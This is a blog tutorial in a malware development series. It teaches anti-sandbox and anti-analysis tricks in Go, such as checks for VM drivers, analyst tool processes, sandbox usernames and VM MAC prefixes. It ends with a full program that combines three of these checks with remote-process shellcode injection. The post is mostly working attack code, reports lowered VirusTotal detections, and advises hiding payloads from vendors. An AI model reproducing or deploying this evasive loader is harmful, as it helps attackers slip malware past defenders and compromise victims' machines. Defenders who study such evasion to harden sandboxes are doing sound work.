Home Malware Development 6 - Analysis evasion via anti-sandboxing tricks (Golang)
Post
Cancel

Malware Development 6 - Analysis evasion via anti-sandboxing tricks (Golang)

Introduction

Hello hackers!

In this post we’ll discuss some of the main anti-sandboxing tricks and techniques to avoid malware analysis and sandboxing. Then we’ll write a Golang program based on first post to compare analysis results.

Explanation

Malware analysts use sandboxes to determine wheather a program is malicious or not. Most common online sandboxing or AV vendors use simple and low-power systems to analyze samples submitted by the user, why? Obviously, because to do this at scale they can’t use systems with big disk storages, too much RAM memory GB, internet connection, etc.

Knowing this we can do some checks on the system before doing any malicious action and if any of the check signs that the system is a sandbox exits from program so it can’t be analyzed. We will code about 10 different functions to do this.

This could be represented like this

Let’s start coding!

Code

First of all let’s import required packages and some other structs and auxiliary functions which will be used later, I also used this functions on the 4th malware development post to find the lsass.exe PID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import (
  "os"
  "fmt"
  "log"
  "net"
  "unsafe"
  "syscall"
  "os/user"
  "runtime"
  "strings"
  "net/http"

  "golang.org/x/sys/windows"
)

type MemStatusEx struct { // Auxiliary struct to retrieve total memory
  dwLength     uint32
  dwMemoryLoad uint32
  ullTotalPhys uint64
  ullAvailPhys uint64
  unused       [5]uint64
}

type WindowsProcess struct { // Windows process structure
  ProcessID       int     // PID
  ParentProcessID int
  Exe             string  // Cmdline executable (e.g. explorer.exe)
}

func GetProcesses() ([]WindowsProcess, error) { // Get all processes using windows API
  handle, err := windows.CreateToolhelp32Snapshot(0x00000002, 0)
  if err != nil {
    return nil, err
  }
  defer windows.CloseHandle(handle)
  var entry windows.ProcessEntry32
  entry.Size = uint32(unsafe.Sizeof(entry))

  err = windows.Process32First(handle, &entry)
  if err != nil {
    return nil, err
  }

  results := make([]WindowsProcess, 0, 50)
  for {
    results = append(results, NewWindowsProcess(&entry))

    err = windows.Process32Next(handle, &entry)
    if err != nil {
      if err == syscall.ERROR_NO_MORE_FILES {
        return results, nil
      }

      return nil, err
    }
  }
}

// Auxiliary function
func NewWindowsProcess(e *windows.ProcessEntry32) WindowsProcess {
  end := 0
  for {
    if e.ExeFile[end] == 0 {
      break
    }
    end++
  }

  return WindowsProcess{
    ProcessID:       int(e.ProcessID),
    ParentProcessID: int(e.ParentProcessID),
    Exe:             syscall.UTF16ToString(e.ExeFile[:end]),
  }
}

Our first check will be of the disk storage, if it has less than 64GB is a sign of sandboxing because real PCs have more capacity than that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
func main(){
  GetDiskFreeSpaceExW := windows.NewLazyDLL("kernel32.dll").NewProc("GetDiskFreeSpaceExW")

  lpTotalNumberOfBytes := int64(0)
  diskret, _, err := GetDiskFreeSpaceExW.Call(
    uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("C:\\"))),
    uintptr(0),
    uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
    uintptr(0),
  )

  if diskret == 0 {
    log.Fatal(err)
  }

  if int(lpTotalNumberOfBytes) < 68719476736 {
    os.Exit(0)
  }
}

Also check CPU cores, less than 2 may be a sandbox

1
2
3
4
5
6
7
func main(){
  ...

  if runtime.NumCPU() < 2 {
    os.Exit(0)
  }
}

Here we also check RAM memory size (less than 4GB)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main(){
  ...

  msx := &MemStatusEx{
    dwLength: 64,
  }

  GlobalMemoryStatusEx := windows.NewLazyDLL("kernel32").NewProc("GlobalMemoryStatusEx")
  r1, _, err := GlobalMemoryStatusEx.Call(uintptr(unsafe.Pointer(msx)))
  if r1 == 0 {
    log.Fatal(err)
  }

  // 4174967296 bytes = 4GB
  if int(msx.ullTotalPhys) < 4174967296 {
    os.Exit(0)
  }
}

Check if any of the array file exists, they’re virtualization drivers found on Windows systems

1
2
3
4
5
6
7
8
9
10
11
func main(){
  ...

  drivers := []string{"C:\\Windows\\System32\\drivers\\VBoxMouse.sys","C:\\Windows\\System32\\drivers\\VBoxGuest.sys","C:\\Windows\\System32\\drivers\\VBoxSF.sys","C:\\Windows\\System32\\drivers\\VBoxVideo.sys","C:\\Windows\\System32\\vboxdisp.dll","C:\\Windows\\System32\\vboxhook.dll","C:\\Windows\\System32\\vboxmrxnp.dll","C:\\Windows\\System32\\vboxogl.dll","C:\\Windows\\System32\\vboxoglarrayspu.dll","C:\\Windows\\System32\\vboxservice.exe","C:\\Windows\\System32\\vboxtray.exe","C:\\Windows\\System32\\VBoxControl.exe","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmhgfs.sys","C:\\Windows\\System32\\drivers\\vmci.sys","C:\\Windows\\System32\\drivers\\vmmemctl.sys","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmrawdsk.sys","C:\\Windows\\System32\\drivers\\vmusbmouse.sys"}
  for _, d := range drivers { // Iterate over all drivers to check if they exist
    _, err = os.Stat(d)
    if (os.IsNotExist(err) == false) {
      os.Exit(0)
    }
  }
}

As same as drivers, we also can check processes name and if anyone is called as any VBox, VMWare or any other monitorization app executable, then exit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
func main(){
  ...

  vm_proccesses := []string{"vboxservice.exe","vboxtray.exe","vmtoolsd.exe","vmwaretray.exe","vmware.exe","vmware-vmx.exe", "vmwareuser","VGAuthService.exe","vmacthlp.exe","vmsrvc.exe","vmusrvc.exe","xenservice.exe","qemu-ga.exe","wireshark.exe","Procmon.exe","Procmon64.exe","volatily.exe","volatily3.exe","DumpIt.exe","dumpit.exe"}
  processes, err := GetProcesses()
  if err != nil {
    log.Fatal(err)
  }

  // Iterate over all processes
  for _, p := range processes {
    for _, p_name := range vm_proccesses {
      if p.Exe == p_name {
        os.Exit(0)
      }
    }
  }
}

It’s always a good idea to also check the total amount of processes, I don’t remember the name but one malware used this technique and it didn’t “turn on” if the system didn’t have at least 15 processes

1
2
3
4
5
6
7
func main(){
  ...

  if len(processes) <= 15 {
    os.Exit(0)
  }
}

This check is really radical as it sends an http request to a non-existing domain and if it seems to be up is because the DNS is modified.

1
2
3
4
5
6
7
8
9
10
11
12
13
func main(){
  ...

  // Check fake domain (it doesn't exist)
  resp, err := http.Get("https://this-is-a-fake-domain.com")
  if err != nil {
    log.Fatal(err)
  }

  if resp.StatusCode == 200 {
    os.Exit(0)
  }
}

Here we get the username and check if match with some well known sandbox usernames (it could be done better with more usernames)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
func main(){
  ...

  u, err := user.Current()
  if err != nil {
    log.Fatal(err)
  }

  // Some well known sandbox users (could be much better)
  known_usernames := []string{"trans_iso_0","analysis","sandbox","debug4fun","j.yoroi","Virtual","user1","Cuckoofork","JujuBox"}
  for _, name := range known_usernames {
    if u.Username == name { // Check if any name match
      os.Exit(0)
    }
  }
}

This one is really interesting, it gets all available MAC addresses and compare them with all VBox and VMWare MAC prefixes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func main(){
  ...

  ifaces, err := net.Interfaces()
  if err != nil {
    log.Fatal(err)
  }

  // Known virtualization vendor MAC prefixes
  known_macs := []string{"00:50:56","00:0C:29","00:05:69","00:1C:14","08:00:27","52:54:00","00:21:F6","00:0F:4B","00:14:4F"}
  for _, i := range ifaces {
    for _, mac := range known_macs {
      pc_mac := i.HardwareAddr.String()

      if strings.Contains(strings.ToUpper(pc_mac), mac) == true {
        os.Exit(0)
      }
    }
  }
}

And finally the last one, it checks the hostname (this one also could be done much better)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
func main(){
  ...

  hostname, err := os.Hostname()
  if err != nil {
    log.Fatal(err)
  }

  known_hostnames := []string{"sandbox","analysis","vmware","vbox","qemu","virustotal","cuckoofork"}
  for _, h := range known_hostnames {
    if hostname == h {
      os.Exit(0)
    }
  }
}

We won’t use all the checks because some sandboxes are really well prepared against this techniques so they will even notice that we are doing some weird things so it will be flagged for that. That’s why I just will use the CPU cores, drivers and disk size checks

At this point we’ve finished the anti-sandboxing part. After this, let’s add the same shellcode injection from first post to see if detection rate has decreased.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
package main

/*

Author: D3Ext
Blog post: https://d3ext.github.io/posts/malware-dev-6/

*/

import (
  "os"
  "fmt"
  "log"
  "unsafe"
  "strconv"
  "runtime"
  "io/ioutil"

  "golang.org/x/sys/windows"
)

type MemStatusEx struct { // Auxiliary struct to retrieve total memory
  dwLength     uint32
  dwMemoryLoad uint32
  ullTotalPhys uint64
  ullAvailPhys uint64
  unused       [5]uint64
}

func main(){
  kernel32 := windows.NewLazyDLL("kernel32.dll")

  GetDiskFreeSpaceExW := kernel32.NewProc("GetDiskFreeSpaceExW")

  lpTotalNumberOfBytes := int64(0)
  diskret, _, err := GetDiskFreeSpaceExW.Call(
    uintptr(unsafe.Pointer(windows.StringToUTF16Ptr("C:\\"))),
    uintptr(0),
    uintptr(unsafe.Pointer(&lpTotalNumberOfBytes)),
    uintptr(0),
  )

  if diskret == 0 {
    log.Fatal(err)
  }

  if int(lpTotalNumberOfBytes) < 68719476736 {
    os.Exit(0)
  }

  if runtime.NumCPU() < 2 {
    os.Exit(0)
  }

  drivers := []string{"C:\\Windows\\System32\\drivers\\VBoxMouse.sys","C:\\Windows\\System32\\drivers\\VBoxGuest.sys","C:\\Windows\\System32\\drivers\\VBoxSF.sys","C:\\Windows\\System32\\drivers\\VBoxVideo.sys","C:\\Windows\\System32\\vboxdisp.dll","C:\\Windows\\System32\\vboxhook.dll","C:\\Windows\\System32\\vboxmrxnp.dll","C:\\Windows\\System32\\vboxogl.dll","C:\\Windows\\System32\\vboxoglarrayspu.dll","C:\\Windows\\System32\\vboxservice.exe","C:\\Windows\\System32\\vboxtray.exe","C:\\Windows\\System32\\VBoxControl.exe","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmhgfs.sys","C:\\Windows\\System32\\drivers\\vmci.sys","C:\\Windows\\System32\\drivers\\vmmemctl.sys","C:\\Windows\\System32\\drivers\\vmmouse.sys","C:\\Windows\\System32\\drivers\\vmrawdsk.sys","C:\\Windows\\System32\\drivers\\vmusbmouse.sys"}
  for _, d := range drivers { // Iterate over all drivers to check if they exist
    _, err = os.Stat(d)
    if (os.IsNotExist(err) == false) {
      os.Exit(0)
    }
  }

  pid := os.Args[1]
  shellcode_file := os.Args[2]

  fmt.Println("Process ID: " + pid)
  fmt.Println("Shellcode file: " + shellcode_file)

  // Convert CLI argument to int
  pid_int, _ := strconv.Atoi(pid)

  // Open given path
  f, err := os.Open(shellcode_file)
  if err != nil {
    log.Fatal(err)
  }
  defer f.Close()

  // Get content as bytes
  shellcode, err := ioutil.ReadAll(f)
  if err != nil {
    log.Fatal(err)
  }

  fmt.Println("Loading DLLs and functions...")
  OpenProcess := kernel32.NewProc("OpenProcess")
  VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
  WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
  CreateRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx")
  CloseHandle := kernel32.NewProc("CloseHandle")

  fmt.Println("Calling OpenProcess...")
  procHandle, _, _ := OpenProcess.Call(
    uintptr(0x1F0FFF), // Access to the process
    uintptr(0), // FALSE
    uintptr(pid_int), // Process to open
  )

  if procHandle == 0 {
    fmt.Println("An error has ocurred calling OpenProcess")
    os.Exit(0)
  }

  addr, _, _ := VirtualAllocEx.Call(
    uintptr(procHandle),
    0,
    uintptr(len(shellcode)),
    windows.MEM_COMMIT | windows.MEM_RESERVE,
    windows.PAGE_EXECUTE_READWRITE,
  )

  if (addr == 0) {
    fmt.Println("An error has ocurred")
    os.Exit(0)
  }

  WriteProcessMemory.Call(
    uintptr(procHandle),
    addr,
    (uintptr)(unsafe.Pointer(&shellcode[0])),
    uintptr(len(shellcode)),
  )

  CreateRemoteThreadEx.Call(
    uintptr(procHandle),
    0,
    0,
    addr,
    0,
    0,
    0,
  )

  _, _, err = CloseHandle.Call(procHandle)
  if err != nil {
    log.Fatal(err)
  }
}

Once we’ve completed this, we’re ready to upload it to VirusTotal

You have the source code here on my Github

Results

The old one had 7 detections which already is a really low rate

And after adding this 3 checks we see the results

As we can see it has 5 detections, and it should be even lower but I uploaded it a couple of times doing some tests and these system checks are a little bit old

Don’t upload your malware to VirusTotal as it distributes and sells malware to other companies so your payloads will be burned out. This is only for testing purposes

References

1
2
3
4
5
6
https://evasions.checkpoint.com/
https://github.com/Arvanaghi/CheckPlease
https://www.deepinstinct.com/blog/malware-evasion-techniques-part-3-anti-sandboxing
https://www.hackplayers.com/2020/06/fingerprints-para-detectar-y-evadir-sandboxes.html
https://github.com/LordNoteworthy/al-khaser
https://www.appsealing.com/anti-debugging/

Conclusion

This technique is always used by APT groups and red teamers as the malware “turns off” when it attemps to run on a monitored environment. I encourage you to take a look at the references for more kind of anti-sandboxing techniques. I hope you’ve learned a lot! :)

Source code here

Go back to top

This post is licensed under CC BY 4.0 by the author.